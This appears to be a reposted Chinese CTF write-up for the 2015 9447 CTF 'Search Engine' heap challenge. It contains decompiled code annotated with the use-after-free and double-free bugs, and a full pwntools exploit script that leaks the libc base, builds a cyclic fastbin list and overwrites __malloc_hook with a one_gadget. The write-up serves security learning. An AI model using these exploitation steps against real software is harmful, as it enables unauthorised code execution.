2015 9447 CTF——Search Engine

64位程序   #double free  #fastbin attack  #use after free

程序逻辑

 1 __int64 sub_400D60()
 2 {
 3   __int64 choice; // rax
 4 
 5   head = 0LL;
 6   while ( 1 )
 7   {
 8     while ( 1 )
 9     {
10       menu();
11       choice = read_num();
12       if ( (_DWORD)choice != 1 )
13         break;
14       search_word();
15     }
16     if ( (_DWORD)choice != 2 )
17       break;
18     index_sentence();
19   }
20   if ( (_DWORD)choice != 3 )
21     error("Invalid option");
22   return choice;
23 }

search_word功能

 1 void search_word()
 2 {
 3   int v0; // ebp
 4   char *v1; // r12
 5   word_struct *i; // rbx
 6   char choice; // [rsp+0h] [rbp-38h]
 7 
 8   puts("Enter the word size:");
 9   v0 = read_num();
10   if ( (unsigned int)(v0 - 1) > 0xFFFD )
11     error("Invalid size");
12   puts("Enter the word:");
13   v1 = (char *)malloc(v0);
14   read_str(v1, v0, 0);
15   for ( i = head; i; i = i->next )
16   {
17     if ( *i->sentence_ptr )
18     {
19       if ( i->size == v0 && !memcmp((const void *)i->content, v1, v0) )  //\x00绕过检测
20       {
21         __printf_chk(1LL, "Found %d: ", (unsigned int)i->len);
22         fwrite(i->sentence_ptr, 1uLL, i->len, stdout);
23         putchar('\n');
24         puts("Delete this sentence (y/n)?");
25         read_str(&choice, 2, 1);
26         if ( choice == 'y' )
27         {
28           memset(i->sentence_ptr, 0, i->len);   //内容置0,
29           free(i->sentence_ptr);    //没有置NULL,use after free
                        //没有从sentence链表中去除,double free
30 puts("Deleted!"); 31 } 32 } 33 } 34 } 35 free(v1); 36 }

index_sentence功能

 1 int index_sentence()
 2 {
 3   int v0; // eax
 4   __int64 v1; // rbp
 5   int len; // er13
 6   char *v3; // r12
 7   char *v4; // rbx
 8   char *str_tail; // rbp
 9   word_struct *v6; // rax
10   int word_size; // edx
11   word_struct *v8; // rdx
12   word_struct *v10; // rdx
13 
14   puts("Enter the sentence size:");
15   v0 = read_num();
16   v1 = (unsigned int)(v0 - 1);
17   len = v0;
18   if ( (unsigned int)v1 > 0xFFFD )
19     error("Invalid size");
20   puts("Enter the sentence:");
21   v3 = (char *)malloc(len);
22   read_str(v3, len, 0);
23   v4 = v3 + 1;
24   str_tail = &v3[v1 + 2];
25   v6 = (word_struct *)malloc(0x28uLL);
26   word_size = 0;
27   v6->content = (__int64)v3;
28   v6->size = 0;
29   v6->sentence_ptr = v3;
30   v6->len = len;
31   do
32   {
33     while ( *(v4 - 1) != ' ' )
34     {
35       v6->size = ++word_size;
36 LABEL_4:
37       if ( ++v4 == str_tail )
38         goto LABEL_8;
39     }
40     if ( word_size )
41     {
42       v10 = head;
43       head = v6;
44       v6->next = v10;
45       v6 = (word_struct *)malloc(0x28uLL);
46       word_size = 0;
47       v6->content = (__int64)v4;
48       v6->size = 0;
49       v6->sentence_ptr = v3;
50       v6->len = len;
51       goto LABEL_4;
52     }
53     v6->content = (__int64)v4++;
54   }
55   while ( v4 != str_tail );
56 LABEL_8:
57   if ( word_size )
58   {
59     v8 = head;
60     head = v6;
61     v6->next = v8;
62   }
63   else
64   {
65     free(v6);
66   }
67   return puts("Added sentence");
68 }

有如下结构体

1 00000000 word_struct     struc ; (sizeof=0x28, mappedto_6)
2 00000000 content         dq ?
3 00000008 size            dd ?
4 0000000C padding1        dd ?
5 00000010 sentence_ptr    dq ?                    ; offset
6 00000018 len             dd ?
7 0000001C padding2        dd ?
8 00000020 next            dq ?                    ; offset
9 00000028 word_struct     ends

利用思路

  • 利用 unsorted bin 地址泄漏 libc 基地址
  • 利用 double free 构造 fastbin 循环链表
  • fastbin attachk分配 chunk 到 malloc_hook 附近,修改 malloc_hook 为 one_gadget

expolit

 1 from pwn import *
 2 p = process("./search")
 3 main_arena_offset = 0x3c4b20
 4 context.binary='./search'
 5 
 6 def offset_bin_main_arena(idx):
 7     word_bytes = context.word_size / 8
 8     offset = 4  # lock
 9     offset += 4  # flags
10     offset += word_bytes * 10  # offset fastbin
11     offset += word_bytes * 2  # top,last_remainder
12     offset += idx * 2 * word_bytes  # idx
13     offset -= word_bytes * 2  # bin overlap
14     return offset
15 
16 
17 unsortedbin_offset_main_arena = offset_bin_main_arena(0)
18 
19 
20 def index_sentence(s):
21     p.recvuntil("3: Quit\n")
22     p.sendline('2')
23     p.recvuntil("Enter the sentence size:\n")
24     p.sendline(str(len(s)))
25     p.send(s)
26 
27 
28 def search_word(word):
29     p.recvuntil("3: Quit\n")
30     p.sendline('1')
31     p.recvuntil("Enter the word size:\n")
32     p.sendline(str(len(word)))
33     p.send(word)
34 
35 
36 smallbin_sentence = 's' * 0x85 + ' m ' 
37 index_sentence(smallbin_sentence)
38 search_word('m')
39 p.recvuntil('Delete this sentence (y/n)?\n')
40 p.sendline('y')
41 search_word('\x00')
42 p.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ')
43 unsortedbin_addr = u64(p.recv(8))
44 p.recvuntil('Delete this sentence (y/n)?\n')
45 p.sendline('n')
46 main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
47 libc_base = main_arena_addr - main_arena_offset
48 log.success('unsortedbin addr: ' + hex(unsortedbin_addr))
49 log.success('libc base addr: ' + hex(libc_base))
50 log.success('main_arena_addr: ' + hex(main_arena_addr))
51 
52 # 2. create cycle fastbin 0x70 size
53 index_sentence('a' * 0x5d + ' d ')  #a
54 index_sentence('b' * 0x5d + ' d ')  #b
55 index_sentence('c' * 0x5d + ' d ')  #c
56 
57 # a->b->c->NULL
58 search_word('d')
59 p.recvuntil('Delete this sentence (y/n)?\n')
60 p.sendline('y')
61 p.recvuntil('Delete this sentence (y/n)?\n')
62 p.sendline('y')
63 p.recvuntil('Delete this sentence (y/n)?\n')
64 p.sendline('y')
65 
66 # b->a->b->a->...
67 search_word('\x00')
68 p.recvuntil('Delete this sentence (y/n)?\n')
69 p.sendline('y')
70 p.recvuntil('Delete this sentence (y/n)?\n')
71 p.sendline('n')
72 p.recvuntil('Delete this sentence (y/n)?\n')
73 p.sendline('n')
74 
75 # 3. fastbin attack to malloc_hook nearby chunk
76 fake_chunk_addr = main_arena_addr - 0x33
77 fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
78 
79 index_sentence(fake_chunk)
80 
81 index_sentence('a' * 0x60)
82 
83 index_sentence('b' * 0x60)
84 
85 gdb.attach(p)
86 one_gadget_addr = libc_base + 0xf02a4
87 payload = 'a' * 0x13 + p64(one_gadget_addr)
88 payload = payload.ljust(0x60, 'f')
89 
90 index_sentence(payload)
91 
92 p.interactive()

猜你喜欢

转载自www.cnblogs.com/pfcode/p/10751935.html